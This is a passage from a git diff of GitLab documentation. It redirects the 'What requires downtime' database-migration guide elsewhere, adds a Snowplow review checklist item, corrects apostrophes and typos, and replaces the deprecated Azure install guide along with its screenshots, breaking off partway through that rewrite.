- Approve the MR, and relabel the MR with `~"product intelligence::approved"`.
@@ -71,6 +79,9 @@ Any of the Product Intelligence engineers can be assigned for the Product Intell
- For tracking using Redis HLL (HyperLogLog):
- Check the Redis slot.
- Check if a [feature flag is needed](index.md#recommendations).
+- For tracking with Snowplow:
+ - Check that the [event taxonomy](../snowplow/index.md#structured-event-taxonomy) is correct.
+ - Check the [usage recomendations](../snowplow/index.md#usage-recommendations).
- Metrics YAML definitions:
- Check the metric `description`.
- Check the metrics `key_path`.
diff --git a/doc/development/what_requires_downtime.md b/doc/development/what_requires_downtime.md
index 63a7ea4dfbd..7d20382973a 100644
--- a/doc/development/what_requires_downtime.md
+++ b/doc/development/what_requires_downtime.md
@@ -1,414 +1,8 @@
---
-stage: Enablement
-group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'avoiding_downtime_in_migrations.md'
---
-# What requires downtime?
+This document was moved to [another location](avoiding_downtime_in_migrations.md).
-When working with a database certain operations can be performed without taking
-GitLab offline, others do require a downtime period. This guide describes
-various operations, their impact, and how to perform them without requiring
-downtime.
-
-## Dropping Columns
-
-Removing columns is tricky because running GitLab processes may still be using
-the columns. To work around this safely, you will need three steps in three releases:
-
-1. Ignoring the column (release M)
-1. Dropping the column (release M+1)
-1. Removing the ignore rule (release M+2)
-
-The reason we spread this out across three releases is that dropping a column is
-a destructive operation that can't be rolled back easily.
-
-Following this procedure helps us to make sure there are no deployments to GitLab.com
-and upgrade processes for self-managed installations that lump together any of these steps.
-
-### Step 1: Ignoring the column (release M)
-
-The first step is to ignore the column in the application code. This is
-necessary because Rails caches the columns and re-uses this cache in various
-places. This can be done by defining the columns to ignore. For example, to ignore
-`updated_at` in the User model you'd use the following:
-
-```ruby
-class User < ApplicationRecord
- include IgnorableColumns
- ignore_column :updated_at, remove_with: '12.7', remove_after: '2020-01-22'
-end
-```
-
-Multiple columns can be ignored, too:
-
-```ruby
-ignore_columns %i[updated_at created_at], remove_with: '12.7', remove_after: '2020-01-22'
-```
-
-We require indication of when it is safe to remove the column ignore with:
-
-- `remove_with`: set to a GitLab release typically two releases (M+2) after adding the
- column ignore.
-- `remove_after`: set to a date after which we consider it safe to remove the column
- ignore, typically after the M+1 release date, during the M+2 development cycle.
-
-This information allows us to reason better about column ignores and makes sure we
-don't remove column ignores too early for both regular releases and deployments to GitLab.com. For
-example, this avoids a situation where we deploy a bulk of changes that include both changes
-to ignore the column and subsequently remove the column ignore (which would result in a downtime).
-
-In this example, the change to ignore the column went into release 12.5.
-
-### Step 2: Dropping the column (release M+1)
-
-Continuing our example, dropping the column goes into a _post-deployment_ migration in release 12.6:
-
-```ruby
- remove_column :user, :updated_at
-```
-
-### Step 3: Removing the ignore rule (release M+2)
-
-With the next release, in this example 12.7, we set up another merge request to remove the ignore rule.
-This removes the `ignore_column` line and - if not needed anymore - also the inclusion of `IgnoreableColumns`.
-
-This should only get merged with the release indicated with `remove_with` and once
-the `remove_after` date has passed.
-
-## Renaming Columns
-
-Renaming columns the normal way requires downtime as an application may continue
-using the old column name during/after a database migration. To rename a column
-without requiring downtime we need two migrations: a regular migration, and a
-post-deployment migration. Both these migration can go in the same release.
-
-### Step 1: Add The Regular Migration
-
-First we need to create the regular migration. This migration should use
-`Gitlab::Database::MigrationHelpers#rename_column_concurrently` to perform the
-renaming. For example
-
-```ruby
-# A regular migration in db/migrate
-class RenameUsersUpdatedAtToUpdatedAtTimestamp < ActiveRecord::Migration[4.2]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- rename_column_concurrently :users, :updated_at, :updated_at_timestamp
- end
-
- def down
- undo_rename_column_concurrently :users, :updated_at, :updated_at_timestamp
- end
-end
-```
-
-This will take care of renaming the column, ensuring data stays in sync, and
-copying over indexes and foreign keys.
-
-If a column contains one or more indexes that don't contain the name of the
-original column, the previously described procedure will fail. In that case,
-you'll first need to rename these indexes.
-
-### Step 2: Add A Post-Deployment Migration
-
-The renaming procedure requires some cleaning up in a post-deployment migration.
-We can perform this cleanup using
-`Gitlab::Database::MigrationHelpers#cleanup_concurrent_column_rename`:
-
-```ruby
-# A post-deployment migration in db/post_migrate
-class CleanupUsersUpdatedAtRename < ActiveRecord::Migration[4.2]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- cleanup_concurrent_column_rename :users, :updated_at, :updated_at_timestamp
- end
-
- def down
- undo_cleanup_concurrent_column_rename :users, :updated_at, :updated_at_timestamp
- end
-end
-```
-
-If you're renaming a [large table](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/rubocop-migrations.yml#L3), please carefully consider the state when the first migration has run but the second cleanup migration hasn't been run yet.
-With [Canary](https://gitlab.com/gitlab-com/gl-infra/readiness/-/tree/master/library/canary/) it is possible that the system runs in this state for a significant amount of time.
-
-## Changing Column Constraints
-
-Adding or removing a `NOT NULL` clause (or another constraint) can typically be
-done without requiring downtime. However, this does require that any application
-changes are deployed _first_. Thus, changing the constraints of a column should
-happen in a post-deployment migration.
-
-Avoid using `change_column` as it produces an inefficient query because it re-defines
-the whole column type.
-
-You can check the following guides for each specific use case:
-
-- [Adding foreign-key constraints](migration_style_guide.md#adding-foreign-key-constraints)
-- [Adding `NOT NULL` constraints](database/not_null_constraints.md)
-- [Adding limits to text columns](database/strings_and_the_text_data_type.md)
-
-## Changing Column Types
-
-Changing the type of a column can be done using
-`Gitlab::Database::MigrationHelpers#change_column_type_concurrently`. This
-method works similarly to `rename_column_concurrently`. For example, let's say
-we want to change the type of `users.username` from `string` to `text`.
-
-### Step 1: Create A Regular Migration
-
-A regular migration is used to create a new column with a temporary name along
-with setting up some triggers to keep data in sync. Such a migration would look
-as follows:
-
-```ruby
-# A regular migration in db/migrate
-class ChangeUsersUsernameStringToText < ActiveRecord::Migration[4.2]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- change_column_type_concurrently :users, :username, :text
- end
-
- def down
- undo_change_column_type_concurrently :users, :username
- end
-end
-```
-
-### Step 2: Create A Post Deployment Migration
-
-Next we need to clean up our changes using a post-deployment migration:
-
-```ruby
-# A post-deployment migration in db/post_migrate
-class ChangeUsersUsernameStringToTextCleanup < ActiveRecord::Migration[4.2]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- cleanup_concurrent_column_type_change :users, :username
- end
-
- def down
- undo_cleanup_concurrent_column_type_change :users, :username, :string
- end
-end
-```
-
-And that's it, we're done!
-
-### Casting data to a new type
-
-Some type changes require casting data to a new type. For example when changing from `text` to `jsonb`.
-In this case, use the `type_cast_function` option.
-Make sure there is no bad data and the cast will always succeed. You can also provide a custom function that handles
-casting errors.
-
-Example migration:
-
-```ruby
- def up
- change_column_type_concurrently :users, :settings, :jsonb, type_cast_function: 'jsonb'
- end
-```
-
-## Changing The Schema For Large Tables
-
-While `change_column_type_concurrently` and `rename_column_concurrently` can be
-used for changing the schema of a table without downtime, it doesn't work very
-well for large tables. Because all of the work happens in sequence the migration
-can take a very long time to complete, preventing a deployment from proceeding.
-They can also produce a lot of pressure on the database due to it rapidly
-updating many rows in sequence.
-
-To reduce database pressure you should instead use
-`change_column_type_using_background_migration` or `rename_column_using_background_migration`
-when migrating a column in a large table (e.g. `issues`). These methods work
-similarly to the concurrent counterparts but uses background migration to spread
-the work / load over a longer time period, without slowing down deployments.
-
-For example, to change the column type using a background migration:
-
-```ruby
-class ExampleMigration < ActiveRecord::Migration[4.2]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- class Issue < ActiveRecord::Base
- self.table_name = 'issues'
-
- include EachBatch
-
- def self.to_migrate
- where('closed_at IS NOT NULL')
- end
- end
-
- def up
- change_column_type_using_background_migration(
- Issue.to_migrate,
- :closed_at,
- :datetime_with_timezone
- )
- end
-
- def down
- change_column_type_using_background_migration(
- Issue.to_migrate,
- :closed_at,
- :datetime
- )
- end
-end
-```
-
-This would change the type of `issues.closed_at` to `timestamp with time zone`.
-
-Keep in mind that the relation passed to
-`change_column_type_using_background_migration` _must_ include `EachBatch`,
-otherwise it will raise a `TypeError`.
-
-This migration then needs to be followed in a separate release (_not_ a patch
-release) by a cleanup migration, which should steal from the queue and handle
-any remaining rows. For example:
-
-```ruby
-class MigrateRemainingIssuesClosedAt < ActiveRecord::Migration[4.2]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- class Issue < ActiveRecord::Base
- self.table_name = 'issues'
- include EachBatch
- end
-
- def up
- Gitlab::BackgroundMigration.steal('CopyColumn')
- Gitlab::BackgroundMigration.steal('CleanupConcurrentTypeChange')
-
- migrate_remaining_rows if migrate_column_type?
- end
-
- def down
- # Previous migrations already revert the changes made here.
- end
-
- def migrate_remaining_rows
- Issue.where('closed_at_for_type_change IS NULL AND closed_at IS NOT NULL').each_batch do |batch|
- batch.update_all('closed_at_for_type_change = closed_at')
- end
-
- cleanup_concurrent_column_type_change(:issues, :closed_at)
- end
-
- def migrate_column_type?
- # Some environments may have already executed the previous version of this
- # migration, thus we don't need to migrate those environments again.
- column_for('issues', 'closed_at').type == :datetime # rubocop:disable Migration/Datetime
- end
-end
-```
-
-The same applies to `rename_column_using_background_migration`:
-
-1. Create a migration using the helper, which will schedule background
- migrations to spread the writes over a longer period of time.
-1. In the next monthly release, create a clean-up migration to steal from the
- Sidekiq queues, migrate any missing rows, and cleanup the rename. This
- migration should skip the steps after stealing from the Sidekiq queues if the
- column has already been renamed.
-
-For more information, see [the documentation on cleaning up background
-migrations](background_migrations.md#cleaning-up).
-
-## Adding Indexes
-
-Adding indexes does not require downtime when `add_concurrent_index`
-is used.
-
-See also [Migration Style Guide](migration_style_guide.md#adding-indexes)
-for more information.
-
-## Dropping Indexes
-
-Dropping an index does not require downtime.
-
-## Adding Tables
-
-This operation is safe as there's no code using the table just yet.
-
-## Dropping Tables
-
-Dropping tables can be done safely using a post-deployment migration, but only
-if the application no longer uses the table.
-
-## Renaming Tables
-
-Renaming tables requires downtime as an application may continue
-using the old table name during/after a database migration.
-
-## Adding Foreign Keys
-
-Adding foreign keys usually works in 3 steps:
-
-1. Start a transaction
-1. Run `ALTER TABLE` to add the constraint(s)
-1. Check all existing data
-
-Because `ALTER TABLE` typically acquires an exclusive lock until the end of a
-transaction this means this approach would require downtime.
-
-GitLab allows you to work around this by using
-`Gitlab::Database::MigrationHelpers#add_concurrent_foreign_key`. This method
-ensures that no downtime is needed.
-
-## Removing Foreign Keys
-
-This operation does not require downtime.
-
-## Data Migrations
-
-Data migrations can be tricky. The usual approach to migrate data is to take a 3
-step approach:
-
-1. Migrate the initial batch of data
-1. Deploy the application code
-1. Migrate any remaining data
-
-Usually this works, but not always. For example, if a field's format is to be
-changed from JSON to something else we have a bit of a problem. If we were to
-change existing data before deploying application code we'll most likely run
-into errors. On the other hand, if we were to migrate after deploying the
-application code we could run into the same problems.
-
-If you merely need to correct some invalid data, then a post-deployment
-migration is usually enough. If you need to change the format of data (e.g. from
-JSON to something else) it's typically best to add a new column for the new data
-format, and have the application use that. In such a case the procedure would
-be:
-
-1. Add a new column in the new format
-1. Copy over existing data to this new column
-1. Deploy the application code
-1. In a post-deployment migration, copy over any remaining data
-
-In general there is no one-size-fits-all solution, therefore it's best to
-discuss these kind of migrations in a merge request to make sure they are
-implemented in the best way possible.
+<!-- This redirect file can be deleted after <2021-07-01>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/wikis.md b/doc/development/wikis.md
index f47c87137ae..9998e29b596 100644
--- a/doc/development/wikis.md
+++ b/doc/development/wikis.md
@@ -19,7 +19,7 @@ Wikis use Git repositories as storage backend, and can be accessed through:
- The [Web UI](../user/project/wiki/index.md)
- The [REST API](../api/wikis.md)
-- [Git itself](../user/project/wiki/#adding-and-editing-wiki-pages-locally)
+- [Git itself](../user/project/wiki/index.md#create-or-edit-wiki-pages-locally)
[Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2214) in GitLab 13.5, wikis are also available
for groups, in addition to projects.
@@ -92,3 +92,7 @@ Only some data is persisted in the database:
The web UI uploads attachments through the REST API, which stores the files as commits in the wiki repository.
Prior to GitLab 11.3 attachments were stored outside of the repository, [see this issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/33475).
+
+## Related topics
+
+- [Gollum installation instructions](https://github.com/gollum/gollum/wiki/Installation)
diff --git a/doc/gitlab-basics/command-line-commands.md b/doc/gitlab-basics/command-line-commands.md
index 52facc7bd1a..fe69346c316 100644
--- a/doc/gitlab-basics/command-line-commands.md
+++ b/doc/gitlab-basics/command-line-commands.md
@@ -33,9 +33,9 @@ The list below is not exhaustive, but contains many of the most commonly used co
|--------------------------------|---------------------------------------------|
| `cd NAME-OF-DIRECTORY` | Go into a directory to work in it |
| `cd ..` | Go back one directory |
-| `ls` | List what’s in the current directory |
-| `ls a*` | List what’s in the current directory that starts with `a` |
-| `ls *.md` | List what’s in the current directory that ends with `.md` |
+| `ls` | List what's in the current directory |
+| `ls a*` | List what's in the current directory that starts with `a` |
+| `ls *.md` | List what's in the current directory that ends with `.md` |
| `mkdir NAME-OF-YOUR-DIRECTORY` | Create a new directory |
| `cat README.md` | Display the contents of a [text file you created previously](#create-a-text-file-in-the-current-directory) |
| `pwd` | Show the current directory |
diff --git a/doc/gitlab-basics/start-using-git.md b/doc/gitlab-basics/start-using-git.md
index 3c824cb5286..a3c8946700a 100644
--- a/doc/gitlab-basics/start-using-git.md
+++ b/doc/gitlab-basics/start-using-git.md
@@ -13,11 +13,11 @@ handle everything from small to very large projects with speed and efficiency. G
on top of Git.
While GitLab has a powerful user interface from which you can do a great amount of Git operations
-directly in the browser, you’ll eventually need to use Git through the command line for advanced
+directly in the browser, you'll eventually need to use Git through the command line for advanced
tasks.
For example, if you need to fix complex merge conflicts, rebase branches,
-merge manually, or undo and roll back commits, you musto use Git from
+merge manually, or undo and roll back commits, you must use Git from
the command line and then push your changes to the remote server.
This guide helps you get started with Git through the command line and can be your reference
@@ -27,7 +27,7 @@ can download the GitLab [Git Cheat Sheet](https://about.gitlab.com/images/press/
> For more information about the advantages of working with Git and GitLab:
>
> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Watch the [GitLab Source Code Management Walkthrough](https://www.youtube.com/watch?v=wTQ3aXJswtM) video.
-> - Learn how GitLab became the backbone of [Worldline](https://about.gitlab.com/customers/worldline/)’s development environment.
+> - Learn how GitLab became the backbone of [Worldline](https://about.gitlab.com/customers/worldline/)'s development environment.
NOTE:
To help you visualize what you're doing locally, there are
diff --git a/doc/install/aws/index.md b/doc/install/aws/index.md
index b18a537bf8b..7fde3915bf5 100644
--- a/doc/install/aws/index.md
+++ b/doc/install/aws/index.md
@@ -348,10 +348,6 @@ Now that the database is created, let's move on to setting up Redis with ElastiC
ElastiCache is an in-memory hosted caching solution. Redis maintains its own
persistence and is used to store session data, temporary cache information, and background job queues for the GitLab application.
-WARNING:
-GitLab recommends you use ElastiCache Redis version 5.0.x, because version 6.x contains
-a bug that [prevents Sidekiq from processing jobs](https://gitlab.com/gitlab-org/gitlab/-/issues/281683).
-
### Create a Redis Security Group
1. Navigate to the EC2 dashboard.
@@ -413,7 +409,7 @@ If you do not want to maintain bastion hosts, you can set up [AWS Systems Manage
1. Leave everything else as default and click **Add Storage**.
1. For storage, we'll leave everything as default and only add an 8GB root volume. We won't store anything on this instance.
1. Click **Add Tags** and on the next screen click **Add Tag**.
- 1. We’ll only set `Key: Name` and `Value: Bastion Host A`.
+ 1. We'll only set `Key: Name` and `Value: Bastion Host A`.
1. Click **Configure Security Group**.
1. Select **Create a new security group**, enter a **Security group name** (we'll use `bastion-sec-group`), and add a description.
1. We'll enable SSH access from anywhere (`0.0.0.0/0`). If you want stricter security, specify a single IP address or an IP address range in CIDR notation.
@@ -432,7 +428,7 @@ Confirm that you can SSH into the instance:
1. Create an EC2 instance following the same steps as above with the following changes:
1. For the **Subnet**, select the second public subnet we created earlier (`gitlab-public-10.0.2.0`).
- 1. Under the **Add Tags** section, we’ll set `Key: Name` and `Value: Bastion Host B` so that we can easily identify our two instances.
+ 1. Under the **Add Tags** section, we'll set `Key: Name` and `Value: Bastion Host B` so that we can easily identify our two instances.
1. For the security group, select the existing `bastion-sec-group` we created above.
### Use SSH Agent Forwarding
@@ -456,10 +452,10 @@ From the EC2 dashboard:
1. In the **Subnet** dropdown, select `gitlab-private-10.0.1.0` from the list of subnets we created earlier.
1. Double check that **Auto-assign Public IP** is set to `Use subnet setting (Disable)`.
1. Click **Add Storage**.
- 1. The root volume is 8GiB by default and should be enough given that we won’t store any data there.
+ 1. The root volume is 8GiB by default and should be enough given that we won't store any data there.
1. Click **Add Tags** and add any tags you may need. In our case, we'll only set `Key: Name` and `Value: GitLab`.
1. Click **Configure Security Group**. Check **Select an existing security group** and select the `gitlab-loadbalancer-sec-group` we created earlier.
-1. Click **Review and launch** followed by **Launch** if you’re happy with your settings.
+1. Click **Review and launch** followed by **Launch** if you're happy with your settings.
1. Finally, acknowledge that you have access to the selected private key file or create a new one. Click **Launch Instances**.
### Add custom configuration
@@ -654,8 +650,9 @@ That concludes the configuration changes for our GitLab instance. Next, we'll cr
### Log in for the first time
-Using the domain name you used when setting up [DNS for the load balancer](#configure-dns-for-load-balancer), you should now be able to visit GitLab in your browser. You will be asked to set up a password
-for the `root` user which has admin privileges on the GitLab instance. This password will be stored in the database.
+Using the domain name you used when setting up [DNS for the load balancer](#configure-dns-for-load-balancer), you should now be able to visit GitLab in your browser.
+If you didn't change the password by any other means, the default password will be the same as the instance ID. To change the default password, login as the `root` user
+with the default password and [change it in the user profile](../../user/profile#change-your-password).
When our [auto scaling group](#create-an-auto-scaling-group) spins up new instances, we'll be able to log in with username `root` and the newly created password.
@@ -683,7 +680,7 @@ From the EC2 dashboard:
1. **Do not** check **Request Spot Instance**.
1. From the **IAM Role** dropdown, pick the `GitLabAdmin` instance role we [created earlier](#create-an-iam-ec2-instance-role-and-profile).
1. Leave the rest as defaults and click **Add Storage**.
-1. The root volume is 8GiB by default and should be enough given that we won’t store any data there. Click **Configure Security Group**.
+1. The root volume is 8GiB by default and should be enough given that we won't store any data there. Click **Configure Security Group**.
1. Check **Select and existing security group** and select the `gitlab-loadbalancer-sec-group` we created earlier.
1. Click **Review**, review your changes, and click **Create launch configuration**.
1. Acknowledge that you have access to the private key or create a new one. Click **Create launch configuration**.
diff --git a/doc/install/azure/img/azure-add-inbound-sec-rule-http.png b/doc/install/azure/img/azure-add-inbound-sec-rule-http.png
deleted file mode 100644
index abf500cb63a..00000000000
--- a/doc/install/azure/img/azure-add-inbound-sec-rule-http.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-add-inbound-sec-rule-ssh.png b/doc/install/azure/img/azure-add-inbound-sec-rule-ssh.png
deleted file mode 100644
index f7a8a04dfa7..00000000000
--- a/doc/install/azure/img/azure-add-inbound-sec-rule-ssh.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-create-virtual-machine-basics-password.png b/doc/install/azure/img/azure-create-virtual-machine-basics-password.png
deleted file mode 100644
index 80bf39ecb48..00000000000
--- a/doc/install/azure/img/azure-create-virtual-machine-basics-password.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-create-virtual-machine-basics.png b/doc/install/azure/img/azure-create-virtual-machine-basics.png
deleted file mode 100644
index 229c073fe17..00000000000
--- a/doc/install/azure/img/azure-create-virtual-machine-basics.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-create-virtual-machine-deployment.png b/doc/install/azure/img/azure-create-virtual-machine-deployment.png
deleted file mode 100644
index 5cfdd973a58..00000000000
--- a/doc/install/azure/img/azure-create-virtual-machine-deployment.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-create-virtual-machine-purchase.png b/doc/install/azure/img/azure-create-virtual-machine-purchase.png
deleted file mode 100644
index f4de62299f1..00000000000
--- a/doc/install/azure/img/azure-create-virtual-machine-purchase.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-create-virtual-machine-settings.png b/doc/install/azure/img/azure-create-virtual-machine-settings.png
deleted file mode 100644
index 20097921660..00000000000
--- a/doc/install/azure/img/azure-create-virtual-machine-settings.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-create-virtual-machine-size.png b/doc/install/azure/img/azure-create-virtual-machine-size.png
deleted file mode 100644
index a408394151f..00000000000
--- a/doc/install/azure/img/azure-create-virtual-machine-size.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-dashboard-highlight-nsg.png b/doc/install/azure/img/azure-dashboard-highlight-nsg.png
deleted file mode 100644
index 025efd33977..00000000000
--- a/doc/install/azure/img/azure-dashboard-highlight-nsg.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-dashboard-running-resources.png b/doc/install/azure/img/azure-dashboard-running-resources.png
deleted file mode 100644
index 7e661a6aa65..00000000000
--- a/doc/install/azure/img/azure-dashboard-running-resources.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-dashboard.png b/doc/install/azure/img/azure-dashboard.png
deleted file mode 100644
index 375ec8622b8..00000000000
--- a/doc/install/azure/img/azure-dashboard.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-inbound-sec-rules-list.png b/doc/install/azure/img/azure-inbound-sec-rules-list.png
deleted file mode 100644
index 1667671b21d..00000000000
--- a/doc/install/azure/img/azure-inbound-sec-rules-list.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-new-gitlab-ce.png b/doc/install/azure/img/azure-new-gitlab-ce.png
deleted file mode 100644
index 88949f69a94..00000000000
--- a/doc/install/azure/img/azure-new-gitlab-ce.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-new-search-gitlab.png b/doc/install/azure/img/azure-new-search-gitlab.png
deleted file mode 100644
index f96ed577d62..00000000000
--- a/doc/install/azure/img/azure-new-search-gitlab.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-nsg-inbound-sec-rules-add-highlight.png b/doc/install/azure/img/azure-nsg-inbound-sec-rules-add-highlight.png
deleted file mode 100644
index c9a08b87ce6..00000000000
--- a/doc/install/azure/img/azure-nsg-inbound-sec-rules-add-highlight.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-nsg-inbound-sec-rules-highlight.png b/doc/install/azure/img/azure-nsg-inbound-sec-rules-highlight.png
deleted file mode 100644
index 6423625ca8b..00000000000
--- a/doc/install/azure/img/azure-nsg-inbound-sec-rules-highlight.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-vm-domain-name.png b/doc/install/azure/img/azure-vm-domain-name.png
deleted file mode 100644
index 01c03004b24..00000000000
--- a/doc/install/azure/img/azure-vm-domain-name.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/azure-vm-management-public-ip.png b/doc/install/azure/img/azure-vm-management-public-ip.png
deleted file mode 100644
index ef313641db8..00000000000
--- a/doc/install/azure/img/azure-vm-management-public-ip.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/gitlab-admin-area-9.4.0.png b/doc/install/azure/img/gitlab-admin-area-9.4.0.png
deleted file mode 100644
index b7ee4598731..00000000000
--- a/doc/install/azure/img/gitlab-admin-area-9.4.0.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/gitlab-admin-area.png b/doc/install/azure/img/gitlab-admin-area.png
deleted file mode 100644
index 028f0b0a0eb..00000000000
--- a/doc/install/azure/img/gitlab-admin-area.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/gitlab-change-password.png b/doc/install/azure/img/gitlab-change-password.png
deleted file mode 100644
index 7350d604d56..00000000000
--- a/doc/install/azure/img/gitlab-change-password.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/gitlab-home.png b/doc/install/azure/img/gitlab-home.png
deleted file mode 100644
index 7c935805ea2..00000000000
--- a/doc/install/azure/img/gitlab-home.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/gitlab-login.png b/doc/install/azure/img/gitlab-login.png
deleted file mode 100644
index 95fe5aec1e0..00000000000
--- a/doc/install/azure/img/gitlab-login.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/gitlab-new-project.png b/doc/install/azure/img/gitlab-new-project.png
deleted file mode 100644
index 3b6b9a81682..00000000000
--- a/doc/install/azure/img/gitlab-new-project.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/gitlab-project-home-empty.png b/doc/install/azure/img/gitlab-project-home-empty.png
deleted file mode 100644
index 54d0b36a251..00000000000
--- a/doc/install/azure/img/gitlab-project-home-empty.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/gitlab-project-home-instructions.png b/doc/install/azure/img/gitlab-project-home-instructions.png
deleted file mode 100644
index fd040d33e95..00000000000
--- a/doc/install/azure/img/gitlab-project-home-instructions.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/img/gitlab-ssh-update-in-progress.png b/doc/install/azure/img/gitlab-ssh-update-in-progress.png
deleted file mode 100644
index 8a686ebde26..00000000000
--- a/doc/install/azure/img/gitlab-ssh-update-in-progress.png
+++ /dev/null
Binary files differ
diff --git a/doc/install/azure/index.md b/doc/install/azure/index.md
index 0c0a4457413..8fb400c796e 100644
--- a/doc/install/azure/index.md
+++ b/doc/install/azure/index.md
@@ -8,443 +8,316 @@ type: howto
# Install GitLab on Microsoft Azure **(FREE SELF)**
-WARNING:
-This guide is deprecated and pending an update. For the time being, use the GitLab
-[image in the Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/gitlabinc1586447921813.gitlabee?tab=Overview).
-
-Azure is Microsoft's business cloud and GitLab is a pre-configured offering on
-the Azure Marketplace. Hopefully, you aren't surprised to hear that Microsoft
-and Azure have embraced open source software like Ubuntu, Red Hat Enterprise Linux,
-and of course - GitLab! This means that you can spin up a pre-configured
-GitLab VM and have your very own private GitLab up and running in around 30
-minutes. Let's get started.
-
-## Getting started
-
-First, you'll need an account on Azure. There are three ways to do this:
-
-- If your company (or you) already has an account, then you are ready to go!
-- You can also open your own Azure account for free. _At time of writing_, you get $200
- of credit to spend on Azure services for 30 days. You can use this credit to try out paid Azure
- services, exploring Microsoft's cloud for free. Even after the first 30 days, you never have to pay
- anything unless you decide to transition to paid services with a Pay-As-You-Go Azure subscription.
- This is a great way to try out Azure and cloud computing, and you can
- [read more in their comprehensive FAQ](https://azure.microsoft.com/en-us/free/free-account-faq/).
-- If you have an MSDN subscription, you can activate your Azure subscriber benefits. Your MSDN
- subscription gives you recurring Azure credits every month, so why not put those credits to use and
- try out GitLab right now?
-
-## Working with Azure
-
-Once you have an Azure account, you can get started. [Log in to Azure](https://portal.azure.com)
-and the first thing you will see is the Dashboard:
-
-![Azure Dashboard](img/azure-dashboard.png)
-
-The Dashboard gives you a quick overview of Azure resources, and from here you can build VMs,
-create SQL Databases, author websites, and perform lots of other cloud tasks.
-
-## Create New VM
-
-The [Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/) is an online store for pre-configured applications and
-services which have been optimized for the cloud by software vendors like GitLab,
-available on the Azure Marketplace as pre-configured solutions. In this tutorial
-we will install GitLab Community Edition.
-
-To begin creating a new GitLab VM, click on the **+ New** icon, type "GitLab" into the search
-box, and then click the **"GitLab Community Edition"** search result:
-
-![Azure - New - Search for 'GitLab'](img/azure-new-search-gitlab.png)
-
-A new "blade" window will pop-out, where you can read more about the **"GitLab Community Edition"**
-offering which is freely available under the MIT Expat License:
-
-![Azure - New - Select 'GitLab Community Edition'](img/azure-new-gitlab-ce.png)
-
-Click **"Create"** and you will be presented with the "Create virtual machine" blade:
-
-![Azure - Create Virtual Machine - Basics](img/azure-create-virtual-machine-basics.png)
-
-## Basics
-
-The first items we need to configure are the basic settings of the underlying virtual machine:
-
-1. Enter a `Name` for the VM - e.g. **"GitLab-CE"**
-1. Select a `VM disk type` - either **HDD** _(slower, lower cost)_ or **SSD** _(faster, higher cost)_
-1. Enter a `User name` - e.g. `gitlab-admin`
-1. Select an `Authentication type`, either **SSH public key** or **Password**:
-
- NOTE:
- If you're unsure which authentication type to use, select **Password**
+For users of the Microsoft Azure business cloud, GitLab has a pre-configured offering in
+the [Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/).
+This tutorial describes installing GitLab
+Enterprise Edition in a single Virtual Machine (VM).
- 1. If you chose **SSH public key** - enter your `SSH public key` into the field provided
- _(read the [SSH documentation](../../ssh/README.md) to learn more about how to set up SSH
- public keys)_
- 1. If you chose **Password** - enter the password you wish to use _(this is the password that you
- will use later in this tutorial to [SSH](https://en.wikipedia.org/wiki/Secure_Shell) into the VM, so make sure it's a strong password/passphrase)_
+## Prerequisite
-1. Choose the appropriate `Subscription` tier for your Azure account
-1. Choose an existing `Resource Group` or create a new one - e.g. **"GitLab-CE-Azure"**
+You'll need an account on Azure. Use of the following methods to obtain an account:
- NOTE:
- A "Resource group" is a way to group related resources together for easier administration.
- We chose "GitLab-CE-Azure", but your resource group can have the same name as your VM.
-
-1. Choose a `Location` - if you're unsure, select the default location
-
-Here are the settings we've used:
-
-![Azure - Create Virtual Machine - Basics Completed](img/azure-create-virtual-machine-basics-password.png)
-
-Check the settings you have entered, and then click **"OK"** when you're ready to proceed.
-
-## Size
+- If you or your company already have an account with a subscription, use that account.
